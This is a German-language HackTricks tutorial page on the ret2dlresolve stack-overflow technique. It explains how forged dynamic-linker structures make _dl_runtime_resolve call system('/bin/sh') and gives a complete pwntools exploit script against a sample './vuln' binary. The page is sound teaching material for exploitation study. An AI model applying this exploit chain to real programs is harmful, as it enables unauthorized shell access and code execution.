hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md

5.8 KiB

Ret2dlresolve

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Wie auf der Seite über GOT/PLT und Relro erklärt, werden Binärdateien ohne Full Relro Symbole (wie Adressen externer Bibliotheken) beim ersten Gebrauch auflösen. Diese Auflösung erfolgt durch Aufruf der Funktion _dl_runtime_resolve.

Die Funktion _dl_runtime_resolve nimmt vom Stapel Verweise auf einige Strukturen entgegen, die sie benötigt, um das angegebene Symbol aufzulösen.

Daher ist es möglich, alle diese Strukturen zu fälschen, um das dynamische Verknüpfen das angeforderte Symbol (wie die system-Funktion) aufzulösen und mit einem konfigurierten Parameter aufzurufen (z. B. system('/bin/sh')).

Normalerweise werden all diese Strukturen gefälscht, indem eine initiale ROP-Kette erstellt wird, die read aufruft über einen beschreibbaren Speicher, dann werden die Strukturen und der String '/bin/sh' übergeben, damit sie von read an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie _dl_runtime_resolve mit der Adresse von $'/bin/sh' aufruft.

{% hint style="success" %} Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie ret2syscall oder SROP zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen preiszugeben. {% endhint %}

Eine bessere Erklärung dieser Technik finden Sie in der zweiten Hälfte des Videos:

{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}

Strukturen

Es ist notwendig, 3 Strukturen zu fälschen: JMPREL, STRTAB und SYMTAB. Eine bessere Erklärung, wie diese aufgebaut sind, finden Sie unter https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Angriffszusammenfassung

  1. Fälschen Sie gefälschte Strukturen an einem Ort
  2. Setzen Sie das erste Argument von system ($rdi = &'/bin/sh')
  3. Setzen Sie auf dem Stapel die Adressen zu den Strukturen, um _dl_runtime_resolve aufzurufen
  4. Rufen Sie _dl_runtime_resolve auf
  5. system wird aufgelöst und mit '/bin/sh' als Argument aufgerufen

Beispiel

Sie finden ein Beispiel dieser Technik hier mit einer sehr guten Erklärung der endgültigen ROP-Kette, aber hier ist der verwendete endgültige Exploit:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: